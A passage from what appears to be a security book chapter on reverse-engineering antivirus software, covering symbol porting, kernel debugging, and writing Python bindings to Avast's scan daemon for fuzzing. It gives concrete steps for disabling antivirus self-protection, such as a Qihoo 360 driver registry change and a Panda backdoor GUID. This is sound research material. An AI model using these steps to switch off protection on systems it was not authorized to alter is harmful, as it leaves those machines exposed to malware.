BinDiff. You can perform the bindiffi ng on both libraries and then import

the matched symbols from the Linux version to the Windows version by 

right-clicking the Matched Functions tab and selecting Import Functions

and Comments (see Figure 2-3).

In many situations, unlike the case of F-Secure, which has partial symbols, 

you may retrieve full symbols with variable and even label names. In those 

cases, the same techniques can be applied.
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Figure 2-2:  F-Secure for Linux library libfmx-linux32.so as seen in IDA

Figure 2-3:  Importing symbols from Linux to Windows
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Figure 2-4 shows a section of disassembly of one library of Comodo Antivirus 

for Linux with full symbols.

Figure 2-4:  Disassembly of Comodo for Linux library libPE32.so showing full symbols

Porting symbols between operating systems is not 100-percent reliable for 

various reasons. For example, different compilers are used for Windows, Linux, 

BSD, and Mac OS X. While on Unix-based platforms, GCC (and sometimes

Clang) is the most used compiler, this is not the case for Windows, where the 

Microsoft compiler is used. This means that the very same C or C++ code will 

generate different assembly code for both platforms, making it more diffi cult to 

compare functions and port symbols. There are other tools for porting symbols, 

like the Open Source IDA plug-in Diaphora, created by Joxean Koret, one of the 

the authors of this book, using the Hex-Rays decompiler-generated Abstract 

Syntax Tree (AST) for comparing function graphs, among other techniques.

Debugging Tricks

The previous sections focused exclusively on using static analysis techniques 

to get information from the antivirus product you want to reverse-engineer. 

This section focuses on dynamic analysis approaches to reverse-engineering 

the antivirus product of your choice.

Antivirus products, like malware, generally try to prevent reverse-engineering. 

The AV executable modules can be obfuscated, sometimes even  implementing 

different obfuscation schemes for each binary (as in the case of the Avira kernel). 

The AV executables may implement anti-debugging tricks that make it diffi cult for 

a researcher to understand how the malware detection algorithm operates. These 

anti-debugging tricks are designed to make it more diffi cult to debug the compo-

nents of an antivirus to get a real idea of how they detect malware or how some 

specifi c parser bug can be exploited leading to attacker controlled code execution.
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The following sections offer some advice for debugging antivirus software. 

All the debugging tips and tricks focus exclusively on Windows because no 

antivirus has been observed trying to prevent itself from being debugged on 

Linux, FreeBSD, or Mac OS X.

Backdoors and Confi guration Settings

While antivirus products generally prevent you from attaching to their ser-

vices with a debugger, this protection is not diffi cult to bypass when you 

employ reverse-engineering techniques. The self-protection mechanisms 

(as the antivirus industry calls them) are usually meant to prevent malware 

from attaching to an antivirus service, to create a thread in the context of 

the antivirus software, or to forbid killing the antivirus processes (a com-

mon task in malware products). They are not meant to prevent users from 

disabling the antivirus in order to debug it or to do whatever they want 

with it. Actually, it would make no sense to prevent users from disabling (or 

uninstalling) the product.

Disabling the self-protection mechanism of the antivirus product is one of 

the fi rst steps you must carry out to start any dynamic analysis task where a 

debugger is involved, unless there is a self-contained command-line analysis 

scanner (as in the cases of the Avira scancl tool or the Ikarus t3 Scan tool). 

Command-line scanners do not usually try to protect themselves because, by 

their nature, they are not resident and are invoked on demand.

The methods to disable the antivirus self-protection mechanism are not com-

monly documented because, from the point of view of the antivirus companies, 

this information is only relevant to the support and engineering people: they 

actually need to debug the services and processes to determine what is happen-

ing when a customer reports a problem. This information is not made public 

because a malware writer could use it to compromise a machine running the 

antivirus software. Most often, modifying one registry key somewhere in the 

registry hive enables you to debug the AV services.

Sometimes a programmer backdoor may allow you to temporarily disable 

the self-protection mechanism, as in the case of the old versions of Panda Global 

Protection. Panda provided a library, called pavshld.dll (Panda Antivirus Shield),

which exported one function that received only one parameter: a secret GUID. 

When passed, this GUID disabled the antivirus software. While there is no tool

to call this function, you could easily create a tool to load this library dynamically 

and then call this function with the secret key, thereby disabling Panda’s shield 

and allowing you to start performing dynamic analysis tasks with OllyDbg, IDA, 

or your favorite debugger. This vulnerability is discussed more in Chapter 14. 

The self-protection mechanisms of an antivirus product can be implemented

in userland by hooking special functions and implementing anti-debugging tricks. 

In kernel-land, they can be implemented using a device driver. Today’s antivirus 

software generally implements self-protection mechanisms using kernel drivers. 

The latter is the correct approach, because relying on userland hooks would be 
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a bad decision for many reasons, the simplest of which is that the hooks can be 

simply removed from userland processes, as discussed in Chapter 9. 

If a kernel-land driver was used for the sole purpose of protecting the AV from 

being disabled, then it may be suffi cient for you to simply prevent the kernel 

driver from loading, which would thus disable the self-protection mechanism. 

To disable kernel drivers or system services under Windows, you would simply 

need to open the registry editor tool (regedit.exe), go to HKEY_LOCAL_MACHINE

\System\CurrentControlSet\Services, search for any driver installed by the 

appropriate antivirus product, and patch the appropriate registry value. For example, 

say that you want to disable the self-protection mechanism (called “anti-hackers”) 

on the Chinese antivirus product Qihoo 360. You would need to change the Start

value for the 360AntiHacker driver (360AntiHacker.sys(( ) to 4 (see Figure 2-5), which

corresponds to the SERVICE_DISABLED constant in the Windows SDK. Changing

the service start type to this value simply means that it is disabled and will not be 

loaded by Windows. After changing this value, you may need to reboot.

Figure 2-5:  How to disable the 360AntiHacker driver 

It is worth mentioning that the antivirus is likely going to forbid you from 

disabling the driver with an “Access Denied” error message or another less 
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meaningful message. If this occurs, you can reboot Windows in safe mode, 

disable the driver, and then reboot again in normal mode. 

Some antivirus products may have a single driver that implements core func-

tionality in addition to the self-protection mechanism. In that case, disabling 

the driver will simply prevent the antivirus from working correctly because 

higher components may need to communicate with the driver. If this occurs, 

you only have one option: kernel debugging.

Kernel Debugging

This section focuses on how to use a kernel debugger to debug both the antivi-

rus drivers and the user-mode processes. Kernel debugging is the least painful 

method of attaching a debugger to an antivirus process, while avoiding all the 

anti-debugging tricks based on the user mode. Instead of disabling the  antivirus 

drivers that perform self-protection, you debug the entire operating system 

and attach, when required, to the desired userland process. This task must be 

performed using one of the debuggers (WinDbg or Kd) from the Debugging 

Tools for Windows package or the WDK (see Figure 2-6).

  Figure 2-6:  The WinDbg debugger
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To perform kernel debugging, you need to create a virtual machine with either 

the commercial VMware product or the open-source VirtualBox. The examples 

in this book use VirtualBox because it is free.

After creating a virtual machine with Windows 7 or any later version, you 

need to confi gure the operating system boot options to allow kernel debugging. 

In the old days of Windows XP, Windows 2000, and so on, you could perform 

kernel debugging by editing the fi le c:\boot.ini. Since Windows Vista, you 

need to use the bcdedit tool. To accomplish that, just open a command prompt 

(cmd.exe) with elevated privileges (run as administrator), and then execute the 

following two commands:

$ bcdedit /debug on
$ bcdedit /dbgsettings serial debugport:1 baudrate:115200

The fi rst command enables kernel debugging for the current operating system. 

The second command sets the global debug settings to serial communications, 

using the port COM1 and a baud-rate of 115,200, as shown in Figure 2-7.

Figure 2-7:  Setting up kernel debugging on Windows 7 with bcdedit

After successfully confi guring debugging for the current operating system, 

you need to shut down the current virtual machine to set up the remaining 

confi guration settings, this time, from VirtualBox:

 1. Right-click the virtual machine, select Settings, and, in the dialog box that 

appears, click Serial Ports on the left side.

 2. Check the Enable Serial port option, select COM1 at Port Number, and 

then select Host Pipe from the drop-down menu for Port mode.

3. Check the Create Pipe option, and enter the following path in the Port

/File Path: \\.\pipe\com_1 (as shown in Figure 2-8).

 4. After you have correctly completed the previous steps, reboot the virtual

machine and select the operating system that says “Debugger Enabled” in
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its description. Voilà! You can now debug both kernel drivers and user-

mode applications without worrying about the self-protection mechanism 

of the corresponding antivirus software.

Figure 2-8:  Setting up debugging in VirtualBox

N O T E  These steps assume that you are working in a Windows host running

VirtualBox. Setting up kernel debugging for Windows in a Linux or Mac OS X host

is a problematic process that, at the very least, requires two virtual machines and is

largely dependent on the host operating system version. Although you can set up

kernel debugging in a Linux or Mac OS X host with both VMware and VirtualBox, this

can be very diffi  cult. It is recommended that, when possible, you use a Windows host

to perform kernel debugging.

Debugging User-Mode Processes with a Kernel-Mode Debugger

It is also possible with a kernel-mode debugger to debug just user-mode  processes 

instead of the kernel. To do so, you have to connect the kernel debugger (WinDbg, 

for example) and type commands that allow the debugger to switch the current 

execution context to the execution context of the desired process.

The required steps are listed here:

 1. Open WinDbg in an elevated command prompt, and select File→Kernel

Debug from the main menu.

 2. In the dialog box, go to the COM tab and enter the value of the Port or

File you set previously. Check the Pipe option.

 3. Confi gure the symbols path to point to the remote Microsoft symbol

server and instruct WinDbg to reload the symbols by issuing the follow-

ing commands:
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.sympath srv*http://msdl.microsoft.com/download/symbols

.reload

After you set the symbols path, WinDbg will be able to debug with the help 

of the public symbols.

This example uses the F-Secure retail antivirus for Windows; you want to

debug its user-mode service, F-Secure Scanner Manager 32-bit (fssm32.exe). To

do this from WinDbg in kernel mode, you need to list all the processes running

in the debugged host, search for the actual process to debug, switch the current 

execution context, and then start debugging.

To list all the user-mode processes from kernel mode, execute the following

command:

> !process 0 0

You can fi lter out results by process name by appending the name of the 

process to the end of the command, as shown here:

> !process 0 0 fssm32.exe
PROCESS 868c07a0  SessionId: 0  Cid: 0880    Peb: 7ffdf000 \ 
ParentCid: 06bc
    DirBase: 62bb7000  ObjectTable: a218da58  HandleCount: 259.
    Image: fssm32.exe

The output string process 868c07a0 points to an EPROCESS structure. Pass

this EPROCESS address to the following command:

.process /r /p 868c07a0. 

The modifi ers /r /p are specifi ed so the context switch between kernel and 

user mode happens automatically so you can debug the fssm32.exe process

after running this command:

lkd> .process /r /p 868c07a0
Implicit process is now 868c07a0
Loading User Symbols
..............................................

After the context switch takes place, you can list all the user-mode libraries 

loaded by this process with the command lm:

lkd> lm
start    end        module name
00400000 00531000   fssm32     (deferred)            
006d0000 006ec000   fs_ccf_id_converter32   (deferred)            
00700000 0070b000   profapi    (deferred)            
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00750000 00771000   json_c     (deferred)            
007b0000 007cc000   bdcore     (deferred)            
00de0000 00e7d000   fshive2    (deferred)            
01080000 010d2000   fpiaqu     (deferred)            
01e60000 01e76000   fsgem      (deferred)            
02b20000 02b39000   sechost    (deferred)            
07f20000 07f56000   daas2      (deferred)            
0dc60000 0dc9d000   fsuss      (deferred)            
0dce0000 0dd2b000   KERNELBASE   (deferred)             
10000000 10008000   hashlib_x86   (deferred)             
141d0000 14469000   fsgeme     (deferred)            
171c0000 17209000   fsclm      (deferred)            
174b0000 174c4000   orspapi    (deferred)            
178d0000 17aad000   fsusscr    (deferred)            
17ca0000 1801e000   fsecr32    (deferred)            
20000000 20034000   fsas       (deferred)            
21000000 2101e000   fsepx32    (deferred)            
(…)

Now you can debug user-mode processes from kernel mode. If you would 

like to learn more debugging tricks for WinDbg, it is highly recommended that 

you read Chapter 4 in Practical Reverse Engineering (Dang, Gazet, Bachaalany, 

and Josse 2014; Wiley, ISBN-13: 978-1-118-78731-1).

Analyzing AV Software with Command-Line Tools

Sometimes, you may be lucky enough to fi nd a completely self-contained com-

mand-line tool. If this is the case, you don’t need to mess with the antivirus in 

order to disable the protection mechanism or to set up kernel debugging. You 

can use any debugger you want to dynamically analyze the core of the antivi-

rus product. There are various types of antivirus software for Windows that 

offer such command-line tools (Avira and Ikarus are two examples). However, 

many antivirus products do not offer any independent command-line tool for 

Windows because either they dropped this feature or it is exclusively used by 

the engineers or the support people. If that is the case, you may want to fi nd out 

which other operating systems are supported. If there is a Linux, BSD, or Mac 

OS X version, odds are that there is an independent, self-contained command-

line tool that you can debug. This is the case with Avira, Bitdefender, Comodo, 

F-Secure, Sophos, and many others.

Debugging the command-line tool does not mean you are going to always 

debug it interactively with a tool such as WinDbg, IDA, OllyDbg, or GDB. You 

may want to write fuzzers using a debugging interface, such as the LLDB 

bindings, Vtrace debugger (from Kenshoto), or PyDbg and WinAppDbg 

Python APIs.
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N O T E  A fuzzer, or fuzz-testing tool, is a program written with the intent to feed arr

given program invalid or unexpected input. Depending on the program you are fuzz-

ing, the input may vary. For example, when fuzzing an antivirus, you feed the AV mod-

ifi ed or incomplete samples. The goal of fuzzers will vary, from fi nding software bugs

or software security bugs, to discovering how a program operates under certain input, 

and so on. In order to write fuzzers, you need a way to automate the task of modifying

the input and then feeding it to the program to be fuzzed. Usually fuzzers run hun-

dreds, if not thousands, of input mutations (modifi cations to the inputs) before they

catch noteworthy bugs.

Porting the Core

This section discusses how to decide what platform and tools to automate. 

Choosing the appropriate operating system for automation and the right tool from 

the AV to be emulated puts you on the right path for your reverse-engineering 

and automation efforts.

For automation in general or fuzz automation, the best operating systems are 

Unix based, especially Linux because it requires less memory and disk space 

and offers a plethora of tools to automate tasks. In general, it is easier to run a 

set of Linux-based virtual machines with QEMU, KVM, VirtualBox, or VMware 

than to do the same with a set of Windows virtual machines. Because of this, it 

is recommended that you run the fuzzing automations with antivirus software 

in Linux. Antivirus companies, like regular software companies, usually try 

to target popular operating systems such as Windows. If the antivirus product 

does not have a Linux version, but only Windows versions, it will still be pos-

sible to run the Windows version of the AV scanner using the Wine (Wine Is 

Not an Emulator) emulator, at almost native speed. 

Wine software is best known for running Windows binaries in non-Windows

operating systems, such as Linux. Winelib (Wine’s supporting library), on the 

other hand, can be used to port Windows-specifi c applications to Linux. Some 

example applications that were successfully ported to Linux using Winelib

were Picasa (an image viewer for organizing and editing digital photos, created 

by Google), Kylix (a compiler and integrated development environment once 

available from Borland but later discontinued), WordPerfect9 for Linux from 

Corel, and WebSphere from IBM. The idea behind using Wine or Winelib is

that you can choose to run Windows-only command-line tools using Wine 

or reverse-engineer the core libraries to write a C or C++ wrapper for Linux, 

using Winelib, that invokes functions exported by a Windows-only DLL.

Both mechanisms can be used successfully to run automations with, for 

example, the Windows-only command-line tool Ikarus t3 Scan (as shown in 

Figure 2-9) and the mpengine.dll library used by the Microsoft Security Essentials 

antivirus product (again, exclusive to Windows). This option is recommended 
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when there is no other way to automate the process of running the targeted 

antivirus product under Linux because the automation in Windows environ-

ments is too complex or requires excessive resources.

Figure 2-9:  Ikarus t3 Scan running in Linux with Wine

A Practical Example: Writing Basic Python Bindings
for Avast for Linux 

This section gives you a practical example of how to reverse-engineer an antivi-

rus component to create bindings. In short, when bindings are discussed here, 

they refer to writing tools or libraries that you can plug in to your fuzzers. The 

idea is that once you can interact with your own tools instead of with the tools 

supplied by the antivirus vendor, you can automate other tasks later (such as 

creating your own scanner or fuzzer). This example uses Avast antivirus for 

Linux as a target and the Python language as the automation language. This 

antivirus version is so simple that reverse-engineering it with the aim of writ-

ing bindings should take only an hour or two.

A Brief Look at Avast for Linux

Avast for Linux has only two executables: avast and scan. The fi rst executable

is the server process responsible for unpacking the virus database fi le (the VPS 

fi le), launching scans, querying URLs, and so on. The second executable is the 

client tool to perform these queries. Incidentally, the distributed binaries con-

tain partial symbols, as shown in Figure 2-10, which shows the client tool scan.
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Figure 2-10:  A list of functions and disassembly of the scan_path function in the “scan”
tool from Avast

Thanks to the partial symbols, you can start analyzing the fi le with IDA and 

easily determine what it does. Start with the main function:

.text:08048930 ; int __cdecl main(int argc, const char **argv,
const char **envp)
.text:08048930                 public main
.text:08048930 main            proc near  ; DATA XREF: _start+17 o
.text:08048930
.text:08048930 argc            = dword ptr  8
.text:08048930 argv            = dword ptr  0Ch
.text:08048930 envp            = dword ptr  10h
.text:08048930
.text:08048930  push    ebp
.text:08048931  mov     ebp, esp
.text:08048933  push    edi
.text:08048934  push    esi
.text:08048935  mov     esi, offset src ; "/var/run/avast/scan.sock"
.text:0804893A  push    ebx
.text:0804893B  and     esp, 0FFFFFFF0h
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.text:0804893E  sub     esp, 0B0h

.text:08048944  mov     ebx, [ebp+argv]

.text:08048947  mov     dword ptr [esp+28h], 0

.text:0804894F  mov     dword ptr [esp+20h], 0

.text:08048957  mov     dword ptr [esp+24h], 0

.text:0804895F

.text:0804895F loc_804895F:               ; CODE XREF: main+50 j

.text:0804895F                            ; main+52 j ...

.text:0804895F  mov   eax, [ebp+argc]

.text:08048962  mov   dword ptr [esp+8],offset shortopts ; "hvVfpabs:e:"

.text:0804896A  mov   [esp+4], ebx    ; argv

.text:0804896E  mov   [esp], eax      ; argc

.text:08048971  call  _getopt

.text:08048976  test  eax, eax

.text:08048978  js    short loc_8048989

.text:0804897A  sub   eax, 3Ah        ; switch 61 cases

.text:0804897D  cmp   eax, 3Ch

.text:08048980  ja    short loc_804895F

.text:08048982  jmp   ds:off_804A5BC[eax*4] ; switch jump

At address 0x08048935, there is a pointer to the C string /var/run/avast

/scan.sock, which is loaded into the ESI register. Later on, there is a call to the 

function getopt with the string hvVfpabs:e:. These are the arguments that 

the scan tool supports and the previous path and Unix socket that the client 

tool needs to connect to. You can verify it later on, at the address 0x08048B01:

.text:08048B01  lea     edi, [esp+0BCh+socket_copy]

.text:08048B05  mov     [esp+4], esi

.text:08048B05  ; ESI points to our previously set socket's path

.text:08048B09  mov     [esp], edi      ; dest

.text:08048B0C  mov     [esp+18h], dl

.text:08048B10  mov     word ptr [esp+42h], 1

.text:08048B17  call    _strcpy

.text:08048B1C  mov     dword ptr [esp+8], 0 ; protocol

.text:08048B24  mov     dword ptr [esp+4], SOCK_STREAM ; type

.text:08048B2C  mov     dword ptr [esp], AF_UNIX ; domain

.text:08048B33  call    _socket

The pointer to the socket’s path is copied (using strcpy) to a stack variable

(stack_copy), and then it is used to open a Unix domains socket. This socket is

then connected via the connect function call to the scan.sock socket:

.text:08048B50  mov     eax, [esp+0BCh+socket]

.text:08048B54  lea     edx, [esp+42h]

.text:08048B58  mov     [esp+4], edx    ; addr

.text:08048B5C  mov     [esp], eax      ; fd

.text:08048B5F  neg     ecx

.text:08048B61  mov     [esp+8], ecx    ; len

.text:08048B65  call    _connect

.text:08048B6A  test    eax, eax
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It is now clear that the client (command-line scanner) wants to connect to the 

server process and send it scan requests using sockets. The next section looks 

at how the client communicates with the server.

Writing Simple Python Bindings for Avast for Linux

In the previous section, you established what the client program does; now, you 

verify this theory by trying to connect to the socket from the Python prompt:

$ python
>>> import socket
>>> s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
>>> sock_name="/var/run/avast/scan.sock"
>>> s.connect(sock_name)

It works! You can connect to the socket. Now you need to determine what the 

client tool sends to the server and what responses it receives. Right after the con-

nect call, it calls the function parse_response and expects the result to be the

magical value 220:

.text:08048B72  mov     eax, [esp+0BCh+socket]

.text:08048B76  lea     edx, [esp+0BCh+response]

.text:08048B7A  call    parse_response

.text:08048B7F  cmp     eax, 220

Now you try to read 1,024 bytes from the socket after connecting to it:

$ python
>>> import socket
>>> s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
>>> sock_name="/var/run/avast/scan.sock"
>>> s.connect(sock_name)
>>> s.recv(1024)
'220 DAEMON\r\n'

Mystery solved: you know now that the 220 error response code comes directly 

from the server as an answer. In your bindings, you need to get the number that 

is received from the welcome message that the Avast daemon sends and check 

if the answer is 220, which means everything is all right.

Continuing with the main function, there is a call to the av_close function.

The following is its disassembly:

.text:08049580 av_close        proc near         

.text:08049580 fd              = dword ptr -1Ch

.text:08049580 buf             = dword ptr -18h

.text:08049580 n               = dword ptr -14h
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.text:08049580

.text:08049580  push    ebx

.text:08049581  mov     ebx, eax

.text:08049583  sub     esp, 18h

.text:08049586  mov     [esp+1Ch+n], 5  ; n

.text:0804958E  mov     [esp+1Ch+buf], offset aQuit ; "QUIT\n"

.text:08049596  mov     [esp+1Ch+fd], eax ; fd

.text:08049599  call    _write

.text:0804959E  test    eax, eax

.text:080495A0  js      short loc_80495C1

.text:080495A2

.text:080495A2 loc_80495A2:             ; CODE XREF: av_close+4D

.text:080495A2  mov     [esp+1Ch+fd], ebx ; fd

.text:080495A5  call    _close

.text:080495AA  test    eax, eax

.text:080495AC  js      short loc_80495B3

The client then calls av_close after fi nishing its tasks, which sends the string

QUIT\n to the daemon, to tell it that it has fi nished and that it should close the

client connection.

Now you create a minimal class to communicate with the Avast daemon, 

basically to connect and successfully close the connection. This is the content 

of basic_avast_client1.py containing your fi rst implementation:

#!/usr/bin/python

import socket

SOCKET_PATH = "/var/run/avast/scan.sock"

class CBasicAvastClient:
  def __init__(self, socket_name):
    self.socket_name = socket_name
    self.s = None
  
  def connect(self):
    self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    self.s.connect(self.socket_name)
    banner = self.s.recv(1024)
    return repr(banner)
  
  def close(self):
    self.s.send("QUIT\n")

def main():
  cli = CBasicAvastClient(SOCKET_PATH)
  print(cli.connect())
  cli.close()

if __name__ == "__main__":
  main()
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You try your script:

$ python basic_avast_cli1.py 
'220 DAEMON\r\n'

It works! You have your own code to connect to the daemon server and close 

the connection. Now it is time to discover more commands, including the most 

interesting one: the command to analyze a sample fi le or directory.

At address 0x0804083B, there is an interesting function call:

.text:08048D34                 mov     edx, [ebx+esi*4]

.text:08048D37                 mov     eax, [esp+0BCh+socket]

.text:08048D3B                 call   scan_path

Because you have partial symbols, you can easily determine what this func-

tion is for: to scan a path. Take a look at the scan_path function:

.text:08049F00 scan_path       proc near         ; CODE XREF: main+40B

.text:08049F00                                   ; .text:08049EF1

.text:08049F00

.text:08049F00 name            = dword ptr -103Ch

.text:08049F00 resolved        = dword ptr -1038h

.text:08049F00 n               = dword ptr -1034h

.text:08049F00 var_1030        = dword ptr -1030h

.text:08049F00 var_102C        = dword ptr -102Ch

.text:08049F00 var_1028        = dword ptr -1028h

.text:08049F00 var_1024        = dword ptr -1024h

.text:08049F00 var_1020        = dword ptr -1020h

.text:08049F00 var_101C        = byte ptr -101Ch

.text:08049F00 var_10          = dword ptr -10h

.text:08049F00 var_C           = dword ptr -0Ch

.text:08049F00 var_8           = dword ptr -8

.text:08049F00 var_4           = dword ptr -4

.text:08049F00

.text:08049F00  sub     esp, 103Ch

.text:08049F06  mov     [esp+103Ch+resolved], 0 ; resolved

.text:08049F0E  mov     [esp+103Ch+name], edx ; name

.text:08049F11  mov     [esp+103Ch+var_10], ebx

.text:08049F18  mov     ebx, eax

.text:08049F1A  mov     [esp+103Ch+var_8], edi

.text:08049F21  mov     edi, edx

.text:08049F23  mov     [esp+103Ch+var_C], esi

.text:08049F2A  mov     [esp+103Ch+var_4], ebp

.text:08049F31  mov     [esp+103Ch+var_102C], offset storage

.text:08049F39  mov     [esp+103Ch+var_1028], 1000h

.text:08049F41  mov     [esp+103Ch+var_1024], 0

.text:08049F49  mov     [esp+103Ch+var_1020], 0

.text:08049F51  call    _realpath

.text:08049F56  test    eax, eax

.text:08049F58  jz      loc_804A040
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.text:08049F5E

.text:08049F5E loc_8049F5E:        ; CODE XREF: scan_path+1CE j

.text:08049F5E  mov     ds:storage, 'NACS'

.text:08049F68  mov     esi, eax

.text:08049F6A  mov     ds:word_804BDE4, ' '

There is a call to the function realpath (which is to get the true real path of 

the given fi le or directory) and you can also see the 4-byte string (in little-endian 

format) SCAN, followed by some spaces. Without actually reverse-engineering the 

entire function, and given the format of the previous command implemented 

for the close method in the basic Python bindings for Avast, it seems that the 

command you want to send to the daemon to scan a fi le or directory is SCAN

/some/path. 

Now you add the additional code that sends the scan command to the daemon 

and see the result it returns:

#!/usr/bin/python

import socket

SOCKET_PATH = "/var/run/avast/scan.sock"

class CBasicAvastClient:
  def __init__(self, socket_name):
    self.socket_name = socket_name
    self.s = None
  
  def connect(self):
    self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    self.s.connect(self.socket_name)
    banner = self.s.recv(1024)
    return repr(banner)
  
  def close(self):
    self.s.send("QUIT\n")
  
  def scan(self, path):
    self.s.send("SCAN %s\n" % path)
    return repr(self.s.recv(1024))

def main():
  cli = CBasicAvastClient(SOCKET_PATH)
  print(cli.connect())
  print(cli.scan("malware/xpaj"))
  cli.close()

if __name__ == "__main__":
  main()
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When you run the script, you get the following output:

$ python basic_avast_cli1.py 
'220 DAEMON\r\n'
'210 SCAN DATA\r\n'

This code does not produce useful data because you need to read more  packets

from the socket as the command 210 SCAN DATA\r\n tells the client that more

packets will be sent, with the actual response. Actually, you need to read until 

you receive a packet with the form 200 SCAN OK\n. Now you can modify the

code of the member as follows (a lazy approach that, nevertheless, works):

  def scan(self, path):
    self.s.send("SCAN %s\n" % path)
    while 1:
      ret = self.s.recv(8192)
      print(repr(ret))
      if ret.find("200 SCAN OK") > -1:
        break

Now you try the code again. This time, you see a different output with the 

data you expected:

$ python basic_avast_cli1.py 
'220 DAEMON\r\n'
'210 SCAN DATA\r\n'
'SCAN /some/path/malware/xpaj/00908235ee9e267fa2f4c83fb4304c63af976cbc\t
[L]0.0\t0 Win32:Hoblig\\ [Heur]\r\n'
'200 SCAN OK\r\n'
None

Marvelous! The Avast server answered that the fi le 00908235ee9e267fa2f

4c83fb4304c63af976cbc was identifi ed as the malware Win32:Hoblig. Now

you have a working set of basic Python bindings that, at the very least, can 

scan paths (either fi les or directories) and get the scan result; therefore, you 

can adapt the code to write a fuzzer based on the protocol format. You may 

want to check whether Avast antivirus for Windows uses the same protocol,

and port your bindings to Windows; if this is not the case, then you may want 

to continue fuzzing under Linux and attach GDB or another debugger to the 

/bin/avast daemon and use your bindings to feed malformed (fuzzed) input 

fi les to the Avast server and wait for it to crash. Remember, the core is the same 

for both Windows and Linux (although, according to the Avast authors, the

Linux core version is not always the latest version of their core). If you have 

a crash in the Linux version of the tool, the odds of it affecting the Windows 

version are very high. Indeed, this very same method has been used to fi nd 

a vulnerability parsing RPM fi les in the Linux version that affected all Avast-

supported platforms.
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The Final Version of the Python Bindings

You can download the fi nal version of the Python bindings from the following 

GitHub project page: https://github.com/joxeankoret/pyavast.

The bindings are exhaustive, covering almost all protocol features discovered 

in April 2014.

A Practical Example: Writing Native C/C++ Tools for 
Comodo Antivirus for Linux

If a server is available, interfacing with one that is listening for commands on 

a given port is an easy way to automate tasks with various antivirus products. 

Unlike AVG or Avast for Linux, not all products offer such a server interface. In 

those cases, you need to reverse-engineer the command-line scanner, if there is 

one, as well as the core libraries, to reconstruct the required internal structures, 

the relevant functions, and their prototypes so you know how to call those 

functions using automation.

This example creates an unoffi cial C/C++ SDK for Comodo Antivirus for Linux. 

Fortunately for you, it comes with full symbols, so discovering the interfaces, 

structures, and so on will be relatively easy.

Start by analyzing the Comodo command-line scanner for Linux (called 

cmdscan), which is installed in the following directory:

/opt/COMODO/cmdscan

Open the binary in IDA, wait until the initial auto-analysis fi nishes, and then 

go to the main function. You should see a disassembly like this one:

.text:00000000004015C0 ; __int64 __fastcall main(int argc, char **argv,
char **envp)
.text:00000000004015C0 main proc near           
.text:00000000004015C0
.text:00000000004015C0 var_A0= dword ptr -0A0h
.text:00000000004015C0 var_20= dword ptr -20h
.text:00000000004015C0 var_1C= dword ptr -1Ch
.text:00000000004015C0
.text:00000000004015C0     push    rbp
.text:00000000004015C1     mov     ebp, edi
.text:00000000004015C3     push    rbx
.text:00000000004015C4     mov     rbx, rsi            ; argv
.text:00000000004015C7     sub     rsp, 0A8h
.text:00000000004015CE     mov     [rsp+0B8h+var_1C], 0
.text:00000000004015D9     mov     [rsp+0B8h+var_20], 0
.text:00000000004015E4
.text:00000000004015E4 loc_4015E4:                 
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.text:00000000004015E4                             

.text:00000000004015E4     mov     edx, offset shortopts       ; "s:vh"

.text:00000000004015E9     mov     rsi, rbx                    ; argv

.text:00000000004015EC     mov     edi, ebp                    ; argc

.text:00000000004015EE     call    _getopt

.text:00000000004015F3     cmp     eax, 0FFFFFFFFh

Here, it’s checking the command-line options s:vh with the standard getopt

function. If you run the command /opt/COMODO/cmdscan without arguments,

it prints out the usage of this command-line scanner:

$ /opt/COMODO/cmdscan
USAGE: /opt/COMODO/cmdscan -s [FILE] [OPTION...]
-s: scan a file or directory
-v: verbose mode, display more detailed output
-h: this help screen

The command-line options identifi ed in the disassembly, s:vh, are documented.

The most interesting one in this case is the -s fl ag, which instructs the tool to

scan a fi le or directory. Continue analyzing the disassembly to understand how 

this fl ag works:

.text:00000000004015F8     cmp     eax, 's'

.text:00000000004015FB     jz      short loc_401613
(…)
.text:0000000000401613 loc_401613:               
.text:0000000000401613     mov     rdi, cs:optarg       ; name
.text:000000000040161A     xor     esi, esi             ; type
.text:000000000040161C     call    _access
.text:0000000000401621     test    eax, eax
.text:0000000000401623     jnz     loc_40172D
.text:0000000000401629     mov     rax, cs:optarg
.text:0000000000401630     mov     cs:src, rax          ; Path to scan
.text:0000000000401637     jmp     short next_cmdline_option

When the -s fl ag is specifi ed, it checks whether the next argument is an exist-

ing path by calling access. If the argument exists, it saves the pointer to the

path to scan (a fi lename or directory) in the src static variable and continues 

parsing more command-line arguments. Now you can analyze the code after

the command-line arguments are parsed:

.text:0000000000401649 loc_401649:            ; CODE XREF: main+36 j

.text:0000000000401649     cmp     cs:src, 0

.text:0000000000401651     jz      no_filename_specified

.text:0000000000401657     mov     edi, offset dev_aflt_fd     ; a2

.text:000000000040165C     call    open_dev_avflt

.text:0000000000401661     call    load_framework

.text:0000000000401666     call    maybe_IFrameWork_CreateInstance
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The code checks whether the path to scan, src, was specifi ed; if not, it goes to a 

label that shows the usage help and exits. Otherwise, it calls an open_dev_avflt

function, then load_framework, and later maybe_IFramework_CreateInstance.

You do not really need to reverse-engineer the open_dev_avflt function, as

the device /dev/avflt is not actually required for scanning. Skip that function

and go directly to load_framework, the function that is responsible for loading 

the Comodo kernel. The following is the entire pseudo-code for this function:

void *load_framework()
{
  int filename_size; // eax@1
  char *self_dir; // rax@2
  int *v2; // rax@3
  char *v3; // rax@3
  void *hFramework; // rax@6
  void *CreateInstance; // rax@7
  char *v6; // rax@9
  char filename[2056]; // [sp+0h] [bp-808h]@1

  filename_size = readlink("/proc/self/exe", filename, 0x800uLL);
  if ( filename_size == -1 ||
      (filename[filename_size] = 0,

self_dir = dirname(filename), chdir(self_dir)) )
  {
    v2 = __errno_location();
    v3 = strerror(*v2);
LABEL_4:
    fprintf(stderr, "%s\n", v3);
    exit(1);
  }
hFramework = k dlopen("./libFRAMEWORK.so", 1);

  hFrameworkSo = hFramework;
  if ( !hFramework )
  {
    v6 = dlerror();
    fprintf(stderr, "error is %s\n", v6);
    goto LABEL_10;
  }

CreateInstance = dlsym(hFramework, "CreateInstance");
FnCreateInstance = (int (__fastcall *)
(_QWORD, _QWORD, _QWORD, _QWORD))CreateInstance;

  if ( !CreateInstance )
  {
LABEL_10:
    v3 = dlerror();
    goto LABEL_4;
  }
  return CreateInstance;
}
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The decompiled code looks nice, doesn’t it? You could just copy this function 

